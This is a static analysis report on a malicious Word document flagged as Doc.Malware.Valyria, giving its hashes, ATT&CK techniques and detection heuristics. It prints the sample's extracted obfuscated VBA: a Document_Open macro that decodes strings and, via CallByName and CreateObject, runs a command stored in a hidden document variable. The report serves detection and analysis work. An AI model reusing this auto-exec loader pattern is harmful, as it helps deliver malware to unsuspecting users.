Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d850d8a1afdfad3a…

MALICIOUS

Office (OLE)

133.5 KB Created: 2018-10-20 09:14:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: bb02868d42f6f382a839d6cb83cebdf7 SHA-1: f1f2ed460f1d56b9fd644ed56dd4598073ff3351 SHA-256: d850d8a1afdfad3a0eba4264f4c67dc005c88c13a3d0d278b6624c173c91c94c
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a critical heuristic for an obfuscated auto-exec VBA loader, specifically a Document_Open macro that uses CreateObject and CallByName. This indicates the macro is designed to run automatically and execute code. The VBA script itself is heavily obfuscated, but the presence of these execution-related functions strongly suggests it's intended to download and run a second-stage payload, aligning with the 'Doc.Malware.Valyria' ClamAV detection.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6749505-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6749505-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2892 bytes
SHA-256: c35be9a064f17daf757b9248db0be2dee1a6ee3fbfd030dd7eac6897cf3474c3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function HMV_(ByVal NO_ As String)
Dim P_ As String: Dim MBO_ As Long: For MBO_ = 1 To Len(NO_) Step 2: P_ = P_ & Chr(Val(Chr(23 + (9 * 2) - (1 * 3)) & Chr((20 * 3) + 16 - (24 / 2) + 8) & Mid(NO_, MBO_, 2)) - 27): Next: HMV_ = P_
End Function
Sub Document_Open()
Dim LVVAEEQ_ As Long: LVVAEEQ_ = 27
Dim ZSFKMGOW_ As Long
Select Case LVVAEEQ_
Case 85 * Round(80 / 75 - 47) * 97 * Round(93 / 64 - 95) * 57
ZSFKMGOW_ = 8342 / 70
Case 74 / Round(80 * 44 / 72) / 31 * Round(50 / 64 - 10) * 65
ZSFKMGOW_ = 4813 / 38
Case 38 * Round(44 / 11 - 35) * 90 * Round(94 / 23 - 87) * 52 + (70 - 96) + 99
ZSFKMGOW_ = 485 - 95
Case 22 * Round(55 / 55 - 36) * 28 * Round(98 / 13 - 50) * 97 - (31 + 64) - 90
ZSFKMGOW_ = 335 - 48
Case 98 / Round(95 * 48 / 57) / 25 - (43 + 23) - 46 * Round(79 / 44 - 61) * 49
ZSFKMGOW_ = 4601 / 48
Case 30 * Round(76 / 17 - 23) * 91 + (74 - 13) + 58
ZSFKMGOW_ = 6618 - 80
Case 52 * Round(16 / 83 - 24) * 75 / Round(54 * 93 / 62) / 80 / Round(59 * 96 / 59) / 87
ZSFKMGOW_ = 7290 + 19
Case 51 * Round(58 / 97 - 38) * 70 * Round(65 / 10 - 23) * 83
ZSFKMGOW_ = 3873 / 91
Case 32 / Round(38 * 51 / 80) / 24 - (23 + 53) - 99
ZSFKMGOW_ = 3678 * 17
Case 91 + (78 - 55) + 84 / Round(23 * 92 / 74) / 76 + (94 - 89) + 80
ZSFKMGOW_ = 4232 * 22
Case 92 / Round(84 * 55 / 77) / 69 * Round(60 / 74 - 45) * 55
ZSFKMGOW_ = 6584 + 77
Case 34 - (87 + 49) - 31 + (58 - 19) + 38 + (58 - 51) + 51
ZSFKMGOW_ = 7572 / 71
Case 95 * Round(36 / 23 - 10) * 58 - (24 + 58) - 15 - (78 + 22) - 13
ZSFKMGOW_ = 6799 - 53
Case 58 + (47 - 24) + 94 / Round(90 * 51 / 14) / 54
ZSFKMGOW_ = 1080 * 60
Case 30 - (15 + 94) - 80 * Round(34 / 72 - 38) * 55 + (46 - 84) + 77
ZSFKMGOW_ = 4347 - 76
Case 64 * Round(34 / 15 - 9) * 21 * Round(54 / 52 - 66) * 54
ZSFKMGOW_ = 888 + 64
Case 58 / Round(30 * 74 / 43) / 9 * Round(69 / 61 - 44) * 25
ZSFKMGOW_ = 5113 - 44
Case 52 * Round(53 / 42 - 40) * 13 + (32 - 58) + 21 * Round(19 / 15 - 74) * 84
ZSFKMGOW_ = 3489 / 27
Case 67 - (41 + 32) - 37 + (18 - 90) + 35 / Round(70 * 13 / 58) / 58
ZSFKMGOW_ = 8285 - 77
Case 56 / Round(34 * 18 / 63) / 75 + (94 - 34) + 44
ZSFKMGOW_ = 1270 / 99
Case 55 + (48 - 31) + 49 + (44 - 69) + 34
ZSFKMGOW_ = 1786 / 86
Case 77 * Round(44 / 97 - 28) * 61 * Round(89 / 41 - 43) * 59 / Round(67 * 59 / 44) / 44
ZSFKMGOW_ = 5349 - 34
Case 99 * Round(93 / 49 - 12) * 83 - (86 + 38) - 36
ZSFKMGOW_ = 5511 / 36
Case Else: CallByName CreateObject(HMV_("726E7E8D848B8F496E83808787")), HMV_("6D9089"), VbMethod, HMV_(ActiveDocument.Variables("SKTKTRWELN").Value), 0, True
End Select
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.